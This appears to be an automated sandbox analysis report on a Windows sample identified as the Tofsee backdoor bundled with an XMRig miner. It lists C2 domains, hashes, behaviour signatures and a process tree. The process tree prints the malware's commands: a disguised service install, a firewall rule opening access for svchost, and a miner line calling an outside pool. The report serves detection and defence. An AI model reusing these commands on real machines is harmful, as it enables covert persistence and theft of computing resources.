Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/11/2022, 06:52

General

  • Target
    file.exe
  • Size 316KB
  • Sample221114-hm3flafd59
  • SHA256 0e958f6b88c101538f229c36ca543d2df57f695ec1401fc28fc0e16a5ffdaed0
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2928
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\cttvmior\
      2⤵
        PID:2816
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\rhnuzlpe.exe" C:\Windows\SysWOW64\cttvmior\
        2⤵
          PID:5012
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create cttvmior binPath= "C:\Windows\SysWOW64\cttvmior\rhnuzlpe.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2484
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description cttvmior "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2552
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start cttvmior
          2⤵
          • Launches sc.exe
          PID:3792
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1356
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2928 -s 1036
          2⤵
          • Program crash
          PID:4192
      • C:\Windows\SysWOW64\cttvmior\rhnuzlpe.exe
        C:\Windows\SysWOW64\cttvmior\rhnuzlpe.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4724
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4356
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2128
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4724 -s 516
          2⤵
          • Program crash
          PID:4580
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 2928 -ip 2928
        1⤵
          PID:3712
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 4724 -ip 4724
          1⤵
            PID:4604

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                rhnuzlpe.exe

                • Path C:\Users\Admin\AppData\Local\Temp\rhnuzlpe.exe
                • Size 11.3MB
                • SHA256 26e31666d09ba1a0e74b1833b5dc6660172012d4d0c01e5aeaf04c4fb74679ce
                • MD5 SHA1 SHA512 SSDEEP

                rhnuzlpe.exe

                • Path C:\Windows\SysWOW64\cttvmior\rhnuzlpe.exe
                • Size 11.3MB
                • SHA256 26e31666d09ba1a0e74b1833b5dc6660172012d4d0c01e5aeaf04c4fb74679ce
                • MD5 SHA1 SHA512 SSDEEP

                memory/2128-172-0x00000000010A0000-0x0000000001191000-memory.dmp

                memory/2128-177-0x00000000010A0000-0x0000000001191000-memory.dmp

                memory/2928-134-0x0000000000400000-0x0000000000852000-memory.dmp

                memory/2928-143-0x0000000000983000-0x0000000000999000-memory.dmp

                memory/2928-144-0x0000000000400000-0x0000000000852000-memory.dmp

                memory/2928-133-0x0000000002460000-0x0000000002473000-memory.dmp

                memory/2928-132-0x0000000000983000-0x0000000000999000-memory.dmp

                memory/4356-146-0x0000000001200000-0x0000000001215000-memory.dmp

                memory/4356-151-0x0000000001200000-0x0000000001215000-memory.dmp

                memory/4356-152-0x0000000001200000-0x0000000001215000-memory.dmp

                memory/4356-153-0x0000000002E00000-0x000000000300F000-memory.dmp

                memory/4356-156-0x0000000002560000-0x0000000002566000-memory.dmp

                memory/4356-159-0x0000000002570000-0x0000000002580000-memory.dmp

                memory/4356-162-0x00000000033D0000-0x00000000033D5000-memory.dmp

                memory/4356-165-0x0000000007D80000-0x000000000818B000-memory.dmp

                memory/4356-168-0x00000000033E0000-0x00000000033E7000-memory.dmp

                memory/4724-150-0x0000000000400000-0x0000000000852000-memory.dmp

                memory/4724-149-0x0000000000ABE000-0x0000000000AD4000-memory.dmp